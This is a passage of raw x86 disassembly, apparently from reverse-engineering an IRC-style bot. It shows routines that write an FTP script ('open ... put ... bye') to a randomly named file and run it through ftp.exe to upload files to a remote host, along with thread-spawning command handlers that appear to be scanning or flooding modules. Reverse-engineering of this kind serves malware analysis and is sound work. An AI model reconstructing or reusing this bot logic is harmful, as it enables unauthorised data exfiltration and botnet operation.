short loc_40724B ; --------------------------------------------------------------------------- loc_40725D: ; CODE XREF: sub_401ACD+577Cj call near ptr 2690DCCh nop push eax push offset unk_42A6DC loc_407269: ; CODE XREF: sub_401ACD+4E31j ; sub_401ACD+62BEj ... lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_407278: ; CODE XREF: sub_401ACD+4E15j ; sub_401ACD+5784j ... cmp [ebp+var_8], ebx jnz loc_4083BC push ebx push [ebp+var_4] loc_407285: ; CODE XREF: sub_401ACD+22DEj lea eax, [ebp+var_2C4] push eax push [ebp+var_88] push esi jmp loc_4082A8 ; --------------------------------------------------------------------------- loc_407298: ; CODE XREF: sub_401ACD+4F98j ; sub_401ACD+4FAFj push 0Bh call sub_40B33E push edi mov [ebp+arg_1C], eax call sub_41B779 add eax, [ebp+arg_1C] pop ecx pop ecx cmp eax, 1F4h jle loc_407454 push [ebp+arg_1C] lea eax, [ebp+var_2C4] push offset unk_42A69C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h loc_4072E8: ; CODE XREF: sub_401ACD+526Dj ; sub_401ACD+5639j ... mov esi, [ebp+esi+var_7C] cmp esi, ebx jz loc_401E94 push [ebp+arg_8] push offset aUpload ; "upload" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_409854 push 4 push esi call sub_416908 pop ecx test eax, eax pop ecx jnz short loc_407324 push esi push offset unk_42A674 jmp loc_408CDB ; --------------------------------------------------------------------------- loc_407324: ; CODE XREF: sub_401ACD+584Aj nop call near ptr 26A0B9Fh push eax call sub_41B8D8 pop ecx call sub_41B8E2 push 9 cdq pop ecx idiv ecx push edx call sub_41B8E2 push 63h cdq pop ecx idiv ecx push edx call sub_41B8E2 cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_51F8] push edx push eax lea eax, [ebp+var_2E58] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_41B886 lea eax, [ebp+var_2E58] push offset aAb ; "ab" push eax call sub_41B4C2 add esp, 20h cmp eax, ebx mov [ebp+arg_24], eax jz loc_401E94 push esi push [ebp+arg_18] push [ebp+arg_0] push edi push [ebp+arg_10] push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_41BE06 push [ebp+arg_24] call sub_41B05B add esp, 20h lea eax, [ebp+var_2E58] push eax lea eax, [ebp+var_4CF0] push offset aSS_2 ; "-s:%s" push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_4CF0] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen ; "open" push ebx call dword_4CAEE0 push [ebp+arg_10] test eax, eax push esi jz short loc_4073F3 push offset unk_42A604 jmp short loc_4073F8 ; --------------------------------------------------------------------------- loc_4073F3: ; CODE XREF: sub_401ACD+591Dj push offset unk_42A5D4 loc_4073F8: ; CODE XREF: sub_401ACD+5924j call sub_41B886 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_407421 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_407421: ; CODE XREF: sub_401ACD+5936j lea eax, [ebp+var_2C4] push eax call sub_4151AC loc_40742D: ; CODE XREF: sub_401ACD+5985j lea eax, [ebp+var_2E58] push 4 push eax call sub_416908 add esp, 0Ch test eax, eax jz loc_401E94 lea eax, [ebp+var_2E58] push eax call sub_41BDDC jmp short loc_40742D ; --------------------------------------------------------------------------- loc_407454: ; CODE XREF: sub_401ACD+57E5j push [ebp+arg_10] call sub_41B779 push edi mov [ebp+var_370], eax call sub_41B779 push [ebp+arg_0] mov [ebp+var_358], eax call sub_41B779 add esp, 0Ch cmp eax, 5 mov [ebp+var_36C], eax jnb short loc_40748D push 5 pop eax mov [ebp+var_36C], eax loc_40748D: ; CODE XREF: sub_401ACD+59B5j push 3Ch pop ecx cmp eax, ecx jbe short loc_40749A mov [ebp+var_36C], ecx loc_40749A: ; CODE XREF: sub_401ACD+59C5j push [ebp+arg_18] call sub_41B779 mov [ebp+var_368], eax mov eax, 320h cmp [ebp+var_368], eax pop ecx jbe short loc_4074BC mov [ebp+var_368], eax loc_4074BC: ; CODE XREF: sub_401ACD+59E7j or [ebp+var_354], 0FFFFFFFFh cmp dword_431408, ebx mov [ebp+arg_20], ebx jz short loc_40750B mov edi, offset dword_431408 loc_4074D3: ; CODE XREF: sub_401ACD+5A20j push [ebp+arg_10] lea eax, [edi-28h] push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4074F1 inc [ebp+arg_20] add edi, 40h cmp [edi], ebx jnz short loc_4074D3 jmp short loc_40750B ; --------------------------------------------------------------------------- loc_4074F1: ; CODE XREF: sub_401ACD+5A16j mov eax, [ebp+arg_20] mov ecx, eax mov [ebp+var_354], eax shl ecx, 6 mov ecx, dword_431408[ecx] mov [ebp+var_370], ecx loc_40750B: ; CODE XREF: sub_401ACD+59FFj ; sub_401ACD+5A22j cmp [ebp+var_370], ebx jnz short loc_40751D push offset unk_42A5A0 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_40751D: ; CODE XREF: sub_401ACD+5A44j mov edi, [ebp+esi+var_7C] cmp edi, ebx mov [ebp+arg_0], edi jz short loc_407558 cmp byte ptr [edi], 23h jz short loc_407558 push edi lea eax, [ebp+var_484] push 10h push eax call sub_41B980 push 78h push edi call sub_41BFB0 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_344], eax jmp loc_407632 ; --------------------------------------------------------------------------- loc_407558: ; CODE XREF: sub_401ACD+5A59j ; sub_401ACD+5A5Ej cmp [ebp+var_8FF], bl jnz short loc_40757A cmp [ebp+var_8FE], bl jnz short loc_40757A cmp [ebp+var_8EE], bl jnz short loc_40757A push offset unk_42A56C jmp loc_406F04 ; --------------------------------------------------------------------------- loc_40757A: ; CODE XREF: sub_401ACD+5A91j ; sub_401ACD+5A99j ... push 10h lea eax, [ebp+var_2D0] pop edi push eax lea eax, [ebp+var_2F8] push eax mov [ebp+var_2D0], edi push [ebp+arg_4] call dword_4CAF18 mov al, [ebp+var_8FF] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2F4], eax push [ebp+var_2F4] call dword_4CB000 push eax lea eax, [ebp+var_484] push eax call sub_41B5F0 add esp, 0Ch cmp [ebp+var_8EE], bl jz short loc_40762C xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_484] push eax call sub_41BE40 pop ecx cmp edi, ebx pop ecx mov byte ptr [ebp+arg_24+3], bl jle short loc_407620 loc_4075FE: ; CODE XREF: sub_401ACD+5B51j cmp eax, ebx jz short loc_407620 mov byte ptr [eax], 78h lea eax, [ebp+var_484] push 30h push eax call sub_41BE40 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_4075FE loc_407620: ; CODE XREF: sub_401ACD+5B2Fj ; sub_401ACD+5B33j mov [ebp+var_344], 1 jmp short loc_407632 ; --------------------------------------------------------------------------- loc_40762C: ; CODE XREF: sub_401ACD+5B09j mov [ebp+var_344], ebx loc_407632: ; CODE XREF: sub_401ACD+5A86j ; sub_401ACD+5B5Dj mov eax, [ebp+arg_4] push [ebp+var_88] mov [ebp+var_374], eax mov eax, [ebp+var_4] mov [ebp+var_34C], eax mov eax, [ebp+var_8] mov [ebp+var_348], eax mov edi, 80h lea eax, [ebp+var_474] push edi push eax call sub_41B980 mov esi, [ebp+esi+var_78] add esp, 0Ch cmp esi, ebx jz short loc_407683 loc_407670: ; CODE XREF: sub_401ACD+5BD9j push esi loc_407671: ; CODE XREF: sub_401ACD+5BC3j lea eax, [ebp+var_3F4] push edi push eax call sub_41B980 add esp, 0Ch jmp short loc_4076AE ; --------------------------------------------------------------------------- loc_407683: ; CODE XREF: sub_401ACD+5BA1j mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_407692 cmp byte ptr [eax], 23h jnz short loc_407692 push eax jmp short loc_407671 ; --------------------------------------------------------------------------- loc_407692: ; CODE XREF: sub_401ACD+5BBBj ; sub_401ACD+5BC0j mov esi, offset aF ; "#f" push offset dword_43D128 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_407670 mov [ebp+var_3F4], bl loc_4076AE: ; CODE XREF: sub_401ACD+5BB4j cmp [ebp+var_344], ebx mov eax, offset aRandom ; "Random" jnz short loc_4076C0 mov eax, offset aSequential ; "Sequential" loc_4076C0: ; CODE XREF: sub_401ACD+5BECj push [ebp+var_358] lea ecx, [ebp+var_484] push [ebp+var_368] push [ebp+var_36C] push [ebp+var_370] push ecx push eax lea eax, [ebp+var_2C4] push offset unk_42A504 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 2Ch mov [ebp+var_364], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_484] push ebx push eax push offset loc_40C33C push ebx push ebx nop call near ptr 2690448h mov ecx, [ebp+var_364] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40774E loc_407738: ; CODE XREF: sub_401ACD+5C7Fj cmp [ebp+var_340], ebx jnz loc_40828B push 32h call near ptr 26903FCh nop jmp short loc_407738 ; --------------------------------------------------------------------------- loc_40774E: ; CODE XREF: sub_401ACD+5C69j nop call near ptr 2690DCCh push eax push offset unk_42A4CC jmp loc_4049EB ; --------------------------------------------------------------------------- loc_40775F: ; CODE XREF: sub_401ACD+4F6Aj ; sub_401ACD+4F81j push [ebp+arg_10] call sub_40AAF9 push edi mov [ebp+var_4E0], eax call sub_41B779 push [ebp+arg_0] mov [ebp+var_4F0], eax call sub_41B779 push [ebp+arg_18] mov [ebp+var_4EC], eax call sub_41B779 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_4E8], eax lea eax, [ebp+var_570] mov [ebp+var_574], esi push eax call sub_41B5F0 add esp, 1Ch mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_4D8], edi push [ebp+var_4EC] mov [ebp+var_4D4], eax push [ebp+var_4F0] push [ebp+var_4E8] push [ebp+var_4E0] call dword_4CB000 push eax lea eax, [ebp+var_2C4] push offset unk_42A47C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 24h mov [ebp+var_4E4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_574] push ebx push eax push offset byte_40C759 push ebx push ebx nop call near ptr 2690448h mov ecx, [ebp+var_4E4] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407854 loc_40783E: ; CODE XREF: sub_401ACD+5D85j cmp [ebp+var_4D0], ebx jnz loc_403DA0 push 32h call near ptr 26903FCh nop jmp short loc_40783E ; --------------------------------------------------------------------------- loc_407854: ; CODE XREF: sub_401ACD+5D6Fj nop call near ptr 2690DCCh push eax push offset unk_42A440 jmp loc_403D91 ; --------------------------------------------------------------------------- loc_407865: ; CODE XREF: sub_401ACD+4F2Dj ; sub_401ACD+4F44j push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx cmp byte_43DEC8[eax], bl jz loc_409854 cmp [ebp+var_C], ebx jz loc_409854 push edi call sub_41AFE0 push [ebp+arg_10] mov esi, eax call sub_41AFE0 push [ebp+arg_8] add esi, eax call sub_41AFE0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41B900 add esp, 14h mov esi, eax lea eax, [ebp+var_2C4] push esi push offset dword_42A434 push eax call sub_41B886 add esp, 0Ch cmp esi, ebx jz loc_409854 push [ebp+arg_10] call sub_41B779 test eax, eax pop ecx jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push ebx lea eax, [ebp+var_2C4] push ebx push eax push edi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A72 push [ebp+arg_10] call sub_41B779 imul eax, 234h add esp, 18h cmp byte ptr dword_43DCB0[eax], 73h jnz loc_409854 push esi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx add eax, offset byte_43DEC8 push eax push edi push offset aSSS_2 ; "[%s] * %s %s" jmp loc_407A35 ; --------------------------------------------------------------------------- loc_40795D: ; CODE XREF: sub_401ACD+4EFFj ; sub_401ACD+4F16j push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx cmp byte_43DEC8[eax], bl jz loc_409854 cmp [ebp+var_C], ebx jz loc_409854 push edi call sub_41AFE0 push [ebp+arg_10] mov esi, eax call sub_41AFE0 push [ebp+arg_8] add esi, eax call sub_41AFE0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41B900 mov esi, eax add esp, 14h cmp esi, ebx jz loc_409854 push [ebp+arg_10] call sub_41B779 test eax, eax pop ecx jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push ebx push ebx push esi push edi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A72 push [ebp+arg_10] call sub_41B779 imul eax, 234h add esp, 18h cmp byte ptr dword_43DCB0[eax], 73h jnz loc_409854 push esi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx add eax, offset byte_43DEC8 push eax push edi push offset aSSS_1 ; "[%s] <%s> %s" loc_407A35: ; CODE XREF: sub_401ACD+5E8Bj lea eax, [ebp+var_2C4] push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 28h jmp loc_409854 ; --------------------------------------------------------------------------- loc_407A62: ; CODE XREF: sub_401ACD+4ED1j ; sub_401ACD+4EE8j push [ebp+arg_10] call dword_4CAFB4 push edi mov [ebp+var_680], eax call sub_41B779 push [ebp+arg_0] mov [ebp+var_690], eax call sub_41B779 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_688], eax lea eax, [ebp+var_710] mov [ebp+var_714], esi push eax call sub_41B5F0 add esp, 14h mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_678], edi push [ebp+var_688] mov [ebp+var_674], eax push [ebp+var_690] push [ebp+var_680] call dword_4CB000 push eax lea eax, [ebp+var_2C4] push offset unk_42A3D8 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_684], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_714] push ebx push eax push offset dword_40C668 push ebx push ebx nop call near ptr 2690448h mov ecx, [ebp+var_684] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407B44 loc_407B2E: ; CODE XREF: sub_401ACD+6075j cmp [ebp+var_670], ebx jnz loc_403DA0 push 32h call near ptr 26903FCh nop jmp short loc_407B2E ; --------------------------------------------------------------------------- loc_407B44: ; CODE XREF: sub_401ACD+605Fj nop call near ptr 2690DCCh push eax push offset unk_42A4CC jmp loc_403D91 ; --------------------------------------------------------------------------- loc_407B55: ; CODE XREF: sub_401ACD+4EA3j ; sub_401ACD+4EBAj push [ebp+arg_10] call sub_41B779 mov [ebp+var_112C], eax push 7Fh lea eax, [ebp+var_1230] push edi push eax call sub_41B5F0 push [ebp+arg_0] call sub_41B779 mov esi, [ebp+arg_4] add esp, 14h mov [ebp+var_1130], eax lea eax, [ebp+var_11B0] push [ebp+var_88] mov [ebp+var_1238], esi push 80h push eax call sub_41B980 mov eax, [ebp+var_8] add esp, 0Ch mov edi, [ebp+var_4] mov [ebp+var_111C], eax push [ebp+var_1130] lea eax, [ebp+var_1230] mov [ebp+var_1120], edi push eax push [ebp+var_112C] push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42A39C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 18h push eax call sub_40B0F6 add esp, 24h mov [ebp+var_1128], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1238] push ebx push eax push offset loc_4103AA push ebx push ebx nop call near ptr 2690448h mov ecx, [ebp+var_1128] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407C41 loc_407C2B: ; CODE XREF: sub_401ACD+6172j cmp [ebp+var_1118], ebx jnz loc_403DA0 push 32h call near ptr 26903FCh nop jmp short loc_407C2B ; --------------------------------------------------------------------------- loc_407C41: ; CODE XREF: sub_401ACD+615Cj nop call near ptr 2690DCCh push eax push offset unk_42A358 jmp loc_403D91 ; --------------------------------------------------------------------------- loc_407C52: ; CODE XREF: sub_401ACD+4E75j ; sub_401ACD+4E8Cj push 0FFh lea eax, [ebp+var_2878] push [ebp+arg_10] push eax call sub_41B5F0 push 0FFh lea eax, [ebp+var_2778] push edi push eax call sub_41B5F0 push [ebp+arg_0] mov [ebp+var_2674], ebx call sub_41B779 mov [ebp+var_2670], eax mov eax, [ebp+esi+var_80] add esp, 1Ch cmp eax, ebx jz short loc_407CAB push 10h push ebx push eax call sub_41BDC5 add esp, 0Ch mov [ebp+var_2668], eax jmp short loc_407CB1 ; --------------------------------------------------------------------------- loc_407CAB: ; CODE XREF: sub_401ACD+61C8j mov [ebp+var_2668], ebx loc_407CB1: ; CODE XREF: sub_401ACD+61DCj mov esi, [ebp+esi+var_7C] cmp esi, ebx jz short loc_407CC8 push esi call sub_41B779 pop ecx mov [ebp+var_266C], eax jmp short loc_407CCE ; --------------------------------------------------------------------------- loc_407CC8: ; CODE XREF: sub_401ACD+61EAj mov [ebp+var_266C], ebx loc_407CCE: ; CODE XREF: sub_401ACD+61F9j movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_2664], eax lea eax, [ebp+var_28F8] mov [ebp+var_28FC], esi push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_265C], eax mov eax, [ebp+var_8] push edi mov [ebp+var_2660], eax push [ebp+arg_10] lea eax, [ebp+var_2C4] push offset unk_42A32C push eax call sub_41B886 push esi lea eax, [ebp+var_2C4] push 1Dh push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2678], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_28FC] push ebx push eax push offset loc_4163F9 push ebx push ebx nop call near ptr 2690448h mov ecx, [ebp+var_2678] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407D7F loc_407D69: ; CODE XREF: sub_401ACD+62B0j cmp [ebp+var_2658], ebx jnz loc_407278 push 32h nop call near ptr 26903FCh jmp short loc_407D69 ; --------------------------------------------------------------------------- loc_407D7F: ; CODE XREF: sub_401ACD+629Aj nop call near ptr 2690DCCh push eax push offset unk_42A2EC jmp loc_407269 ; --------------------------------------------------------------------------- loc_407D90: ; CODE XREF: sub_401ACD+4E47j ; sub_401ACD+4E5Ej push 7Fh lea eax, [ebp+var_3490] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3410] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_3390] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3310] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_328C], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_3288], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_3494], esi push [ebp+arg_10] push offset unk_42A2B0 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 12h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_3290], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3494] push ebx push eax push offset byte_414A91 push ebx push ebx nop call near ptr 2690448h mov ecx, [ebp+var_3290] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407E67 loc_407E51: ; CODE XREF: sub_401ACD+6398j cmp [ebp+var_3284], ebx jnz loc_407278 push 32h call near ptr 26903FCh nop jmp short loc_407E51 ; --------------------------------------------------------------------------- loc_407E67: ; CODE XREF: sub_401ACD+6382j nop call near ptr 2690DCCh push eax push offset unk_42A278 jmp loc_407269 ; --------------------------------------------------------------------------- loc_407E78: ; CODE XREF: sub_401ACD+4D1Aj ; sub_401ACD+4D31j push 7Fh lea eax, [ebp+var_3068] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_2FE8] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_2F68] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_2EE8] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_2E64], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_2E60], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_306C], esi push [ebp+arg_10] push offset unk_42A248 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Eh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_2E68], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_306C] push ebx push eax push offset dword_4137CC push ebx push ebx nop call near ptr 2690448h mov ecx, [ebp+var_2E68] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407F4F loc_407F39: ; CODE XREF: sub_401ACD+6480j cmp [ebp+var_2E5C], ebx jnz loc_407278 push 32h call near ptr 26903FCh nop jmp short loc_407F39 ; --------------------------------------------------------------------------- loc_407F4F: ; CODE XREF: sub_401ACD+646Aj call near ptr 2690DCCh nop push eax push offset unk_42A210 jmp loc_407269 ; --------------------------------------------------------------------------- loc_407F60: ; CODE XREF: sub_401ACD+4BF1j ; sub_401ACD+4C08j ... push 7Fh lea eax, [ebp+var_3CE4] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3C64] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_3BE4] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3B64] push [ebp+var_88] push eax call sub_41B5F0 push 20h lea eax, [ebp+var_3AE4] push [ebp+arg_8] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 3Ch mov esi, [ebp+arg_4] mov [ebp+var_3A64], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_3A60], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_3CEC], esi push [ebp+arg_10] push offset unk_42A1E0 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Dh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_3CE8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3CEC] push ebx push eax push offset byte_412A53 push ebx push ebx nop call near ptr 2690448h mov ecx, [ebp+var_3CE8] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_408048 loc_408032: ; CODE XREF: sub_401ACD+6579j cmp [ebp+var_3A5C], ebx jnz loc_407278 push 32h call near ptr 26903FCh nop jmp short loc_408032 ; --------------------------------------------------------------------------- loc_408048: ; CODE XREF: sub_401ACD+6563j nop call near ptr 2690DCCh push eax push offset unk_42A1A8 jmp loc_407269 ; --------------------------------------------------------------------------- loc_408059: ; CODE XREF: sub_401ACD+4BC3j ; sub_401ACD+4BDAj push 7Fh lea eax, [ebp+var_1778] push [ebp+arg_10] push eax call sub_41B5F0 push edi call sub_41B779 push 3Fh mov [ebp+var_1628], eax push [ebp+arg_0] lea eax, [ebp+var_16F8] push eax call sub_41B5F0 mov esi, [ebp+esi+var_80] add esp, 1Ch cmp esi, ebx jz short loc_4080A4 push 3Fh lea eax, [ebp+var_16B8] push esi push eax call sub_41B5F0 add esp, 0Ch loc_4080A4: ; CODE XREF: sub_401ACD+65C3j lea eax, [ebp+var_16F8] mov [ebp+var_1624], 1 push eax lea eax, [ebp+var_1778] push [ebp+var_1628] push eax lea eax, [ebp+var_2C4] push offset dword_42A178 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Fh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_1620], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_177C] push ebx push eax push offset sub_4017ED push ebx push ebx call near ptr 2690448h nop mov ecx, [ebp+var_1620] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_408130 loc_40811A: ; CODE XREF: sub_401ACD+6661j cmp [ebp+var_161C], ebx jnz loc_406CDE push 32h call near ptr 26903FCh nop jmp short loc_40811A ; --------------------------------------------------------------------------- loc_408130: ; CODE XREF: sub_401ACD+664Bj nop call near ptr 2690DCCh push eax push offset dword_42A13C jmp loc_406CCF ; --------------------------------------------------------------------------- loc_408141: ; CODE XREF: sub_401ACD+4B83j ; sub_401ACD+4B9Aj push edi call sub_41B779 cmp eax, ebx pop ecx mov [ebp+var_1D64], eax jle loc_408234 push [ebp+arg_10] mov esi, 80h lea eax, [ebp+var_1EEC] push esi push eax call sub_41B980 add esp, 0Ch xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_1D60], eax mov eax, [ebp+arg_4] mov [ebp+var_1EF0], eax lea eax, [ebp+var_1DEC] push esi push eax call sub_41B980 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_1D5C], eax mov eax, [ebp+var_8] push edi mov [ebp+var_1D58], eax push [ebp+arg_10] lea eax, [ebp+var_2C4] push offset unk_42A110 push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 15h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_1D6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1EF0] push ebx push eax push offset byte_412E9D push ebx push ebx nop call near ptr 2690448h mov ecx, [ebp+var_1D6C] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_408223 loc_408211: ; CODE XREF: sub_401ACD+6754j cmp [ebp+var_1D54], ebx jnz short loc_40828B push 32h nop call near ptr 26903FCh jmp short loc_408211 ; --------------------------------------------------------------------------- loc_408223: ; CODE XREF: sub_401ACD+6742j nop call near ptr 2690DCCh push eax push offset unk_42A0D8 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_408234: ; CODE XREF: sub_401ACD+6683j push offset unk_42A0A0 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_40823E: ; CODE XREF: sub_401ACD+4B55j ; sub_401ACD+4B6Cj push edi push [ebp+arg_10] call near ptr 26B0B50h nop test eax, eax jz short loc_40826B push edi lea eax, [ebp+var_2C4] push [ebp+arg_10] push offset unk_42A07C push 200h push eax call sub_41B980 add esp, 14h jmp short loc_40828B ; --------------------------------------------------------------------------- loc_40826B: ; CODE XREF: sub_401ACD+677Dj push offset dword_42A070 call sub_41814C pop ecx push eax lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 loc_408288: ; CODE XREF: sub_401ACD+2F2Aj ; sub_401ACD+556Fj add esp, 0Ch loc_40828B: ; CODE XREF: sub_401ACD+2136j ; sub_401ACD+2ECCj ... cmp [ebp+var_8], ebx jnz loc_4083BC push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_4082A8: ; CODE XREF: sub_401ACD+57C6j call sub_409A72 add esp, 14h jmp loc_4083BC ; --------------------------------------------------------------------------- loc_4082B5: ; CODE XREF: sub_401ACD+4B27j ; sub_401ACD+4B3Ej push [ebp+arg_10] lea eax, [ebp+var_3F04] push 104h push eax call sub_41B980 add esp, 0Ch cmp [ebp+var_C], ebx jz short loc_4082EF push edi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_4082EF push eax lea eax, [ebp+var_3E00] push eax call sub_41B886 pop ecx pop ecx loc_4082EF: ; CODE XREF: sub_401ACD+6802j ; sub_401ACD+6811j push [ebp+var_88] lea eax, [ebp+var_3F84] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_3F88], eax mov eax, [ebp+var_4] mov [ebp+var_3CF8], eax mov eax, [ebp+var_8] mov [ebp+var_3CF4], eax lea eax, [ebp+var_3E00] push eax lea eax, [ebp+var_3F04] push eax push offset unk_42A040 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 24h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_3CFC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3F88] push ebx push eax push offset byte_416CAD push ebx push ebx call near ptr 2690448h nop mov ecx, [ebp+var_3CFC] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_4083A1 loc_40838F: ; CODE XREF: sub_401ACD+68D2j cmp [ebp+var_3CF0], ebx jnz short loc_4083BC push 32h call near ptr 26903FCh nop jmp short loc_40838F ; --------------------------------------------------------------------------- loc_4083A1: ; CODE XREF: sub_401ACD+68C0j nop call near ptr 2690DCCh push eax push offset unk_42A004 loc_4083AD: ; CODE XREF: sub_401ACD+925j ; sub_401ACD+A63j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_4083BC: ; CODE XREF: sub_401ACD+7E1j ; sub_401ACD+94Cj ... push 1 pop esi jmp loc_406D02 ; --------------------------------------------------------------------------- loc_4083C4: ; CODE XREF: sub_401ACD+4AF9j ; sub_401ACD+4B10j push 44h lea eax, [ebp+var_668] pop esi push esi push ebx push eax call sub_41B590 push 1 